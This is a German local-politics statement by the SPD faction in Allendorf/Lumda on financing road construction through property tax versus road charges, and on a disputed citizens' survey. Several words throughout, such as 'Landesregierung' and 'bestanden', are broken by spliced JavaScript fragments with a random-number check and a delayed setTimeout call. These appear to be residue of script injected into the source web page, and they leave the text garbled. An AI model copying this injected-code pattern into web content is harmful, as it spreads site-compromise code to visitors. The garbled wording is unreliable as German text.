Ein Beitrag zur aktuellen Diskussion in Allendorf/Lumda
Oben wird die Überschrift der von der SPD-Fraktion am 25.03.2019 eingebrachten
Resolution an die schwarz-grüne Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andesregierung in Wiesbaden zitiert. Dieser wurde vom
Allendorfer Stadtparlament mehrheitlich, bei drei Stimmenthaltungen der CDU,
zugestimmt. Der in dieser Resolution enthaltenen grundsätzlichen Absage an eine
Finanzierung des Straßenum- und -ausbaus über die Grundsteuer widersprachen die
örtlichen Vertreter von Bündnis 90/Die Grünen mit keinem Wort.
Ein paar Monate später sollten die Stadtverordneten über einen Antrag von Bündnis 90/Die
Grünen abstimmen, in dem letztere das Modell der Finanzierung über die Grundsteuer für
Allendorf fordern. In Allendorf soll die Straßenbeitragssatzung (STRABS) abgeschafft
werden. Die Grundstückseigentümer*innen sollen nach der Vorstellung von Bündnis 90/Die
Grünen künftig nicht mehr über Beiträge, sondern für die grundhafte Erneuerung von
Gemeindestraßen über die Grundsteuer zur Kasse gebeten werden
Wir halten fest: Bezahlen müssen Allendorfer*innen weiterhin, von Abschaffung der
der Kosten für den Straßenbau kann keine Rede sein.
So lange die schwarz-grüne Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andesregierung den Kommunen die Entscheidung überlässt,
wie sie ihren kommunalen Straßenbau finanzieren, haben finanzschwache Gemeinden wie
Allendorf keine Möglichkeit, die Kosten für diese Investitionen aus eigenen Einnahmen zu
decken. Deshalb muss in vielen Gemeinden in Hessen die Frage diskutiert werden: Wollen
wir Einmalzahlungen,wiederkehrende Straßenbeiträge oder die Finanzierung über die
Grund- und/oder die Gewerbesteuer für unsere Bürger*innen. Soviel lässt sich von
vornherein sagen: Alle Modelle haben Vor- und Nachteile. Jede Kommune in Hessen muss
aufgrund der misslichen Situation, die die Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andesregierung zu verantworten hat, die für
die Gemeinde und deren Bürger
bestmögliche Lösung finden. Eine „ gerechteste“ Lösung gibt es ohnehin nicht.
Voraussetzungen in diesem „ Findungsprozess“ sind eine genaue Beschreibung des
gegenwärtigen Straßenzustandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes ( Straßenkataster), ein längerfristiger Plan für die
anfallenden Reparaturen und eine detaillierte Aufstellung der Kosten, die für die
Grundstückseigentümer*innen eventuell entstehen. Dabei sind die Vor- und Nachteile der
jeweiligen Modelle genau zu beschreiben.
Erst wenn diese Informationen vorliegen, kann man eine sinnvolle Bürgerbefragung
durchführen und danach ist es den Stadtverordneten auch möglich eine Lösung für
Allendorf zu finden, die größtmögliche Zustimmung finden könnte.
Deshalb hat die Mehrheit der Stadtverordneten dem Antrag von Bündnis 90/ Die Grünen
nicht zugestimmt, sondern darauf bestandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anden, dass man erst einmal abwartet, bis ein
Straßenkataster vorliegt.
Für die SPD-Fraktion ist es folglich auch völlig unverständlich, warum die
Verwaltung, ohne das Straßenkataster abzuwarten, und mit der Veröffentlichung von völlig
unzureichenden und tendenziösen Informationen in den Amtlichen Mitteilungen und auf
der Homepage der Stadt eine Bürgerbefragung durchführt.
Wir sehen in dieser Aktion auch eine Missachtung des Beschlusses der
Stadtverordnetenversammlung vom 25.06.2020.
Die Verantwortlichen für diese Aktion müssen sich die Frage gefallen lassen, wessen
Interessen sie eigentlich vertreten und ob sie diese möglicherweise nicht gründlich genug
durchdacht haben. Wir, als SPD-Fraktion, wünschen uns eine Bürgerbefragung auf der
Basis sachlicher und aussagekräftiger Informationen.